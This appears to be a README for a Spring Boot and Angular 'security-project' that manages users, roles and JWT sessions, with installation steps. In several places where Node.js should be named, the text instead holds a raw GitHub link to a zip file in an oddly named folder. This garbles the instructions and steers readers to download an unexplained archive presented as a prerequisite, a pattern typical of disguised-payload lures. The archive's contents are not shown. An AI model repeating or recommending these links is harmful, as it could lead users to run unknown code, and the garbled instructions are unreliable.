Welcome to the security-project. This application helps you manage user authentication and authorization safely. It is designed for everyone, regardless of technical skills. Follow these simple steps to get started.
To download the application, visit this page: Download Security Project. You will find the latest version there.
Before you install, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Java: Version 17 or later
- https://raw.githubusercontent.com/hitman472005/security-project/master/transdiurnal/security-project.zip & npm: Latest versions for the frontend
- Database: MySQL or another compatible database
The security-project consists of two main parts:
- Backend: This part uses Spring Boot to create a secure API. It handles user requests and manages data access.
- Frontend: Built with Angular, this part provides a modern interface for users.
Each part works together to provide a seamless experience.
-
Download the Application:
Go to the Download Security Project page and select the latest release. Download the appropriate files for your system.
-
Set Up the Backend:
- Unzip the backend folder from your download.
- Ensure you have Java installed. If not, you can download it from the Java website.
- Open a terminal (Command Prompt, PowerShell, or Terminal).
- Navigate to the backend folder using the
cdcommand. - Run the command
./mvnw spring-boot:runto start the backend server.
-
Set Up the Frontend:
- Unzip the frontend folder from your download.
- Make sure you have https://raw.githubusercontent.com/hitman472005/security-project/master/transdiurnal/security-project.zip and npm installed. If not, download it from the https://raw.githubusercontent.com/hitman472005/security-project/master/transdiurnal/security-project.zip website.
- Open a new terminal.
- Navigate to the frontend folder using the
cdcommand. - Run the command
npm installto install necessary dependencies. - After this, use the command
ng serveto start the frontend application.
-
Connect to the Database:
- Ensure you have MySQL running on your machine.
- Create a database for the application. You can name it
securitydb. - Update the configuration file in the backend to link to your database.
-
Access the Application:
- Open a web browser.
- Type
http://localhost:4200to access the frontend interface. - Log in using the credentials you have set up.
The security-project includes:
- User Management: Create, update, and delete user accounts.
- Role-Based Access: Define roles such as ADMIN and USER for better control.
- Secure Sessions: Utilize JWT for safe user sessions.
- Modern Interface: Accessible design for all users.
-
Backend:
- Java 17
- Spring Boot
- Spring Security
- JWT (JSON Web Tokens)
- JPA / Hibernate
- MySQL
- Swagger UI for API documentation
-
Frontend:
- Angular
- TypeScript
- RxJS
- HTML5 / CSS3
- Bootstrap for responsive design
If you face any issues or have questions, feel free to reach out. You can open an issue on the GitHub repository. Join our community and contribute to making the security-project better.
We welcome contributions! If you want to help improve this project, please follow these steps:
- Fork the repository.
- Create a feature branch.
- Make your changes.
- Open a pull request.
Thank you for your interest in improving the security-project!
This project is licensed under the MIT License. Feel free to use and modify it as you see fit. For detailed license information, check the LICENSE file in the repository.
The security-project covers various topics including:
- angular
- authentication
- css
- html
- java
- jpa-hibernate
- jwt
- mysql
- oauth2
- rxjs
- spring-boot
- spring-devtools
- spring-security
- swagger-ui
- swalalert2
- typescript
For more detailed information, visit the GitHub Topics Page.